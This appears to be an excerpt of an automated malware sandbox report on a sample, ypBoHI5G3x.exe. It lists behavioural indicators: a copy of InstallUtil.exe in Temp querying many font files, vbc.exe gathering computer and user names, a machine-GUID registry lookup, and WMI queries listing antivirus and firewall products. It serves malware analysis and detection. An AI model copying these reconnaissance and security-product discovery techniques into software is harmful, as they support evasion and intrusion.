Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_0041604B GetSystemTime,memcpy,GetCurrentProcessId,memcpy,GetTickCount,memcpy,QueryPerformanceCounter,memcpy,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 19_2_0040724C memset,memset,memset,memset,GetComputerNameA,GetUserNameA,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,strlen,strlen,memcpy,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_00407674 GetVersionExW,

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: InstallUtil.exe, 0000000C.00000002.602019864.0000000001013000.00000004.00000001.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

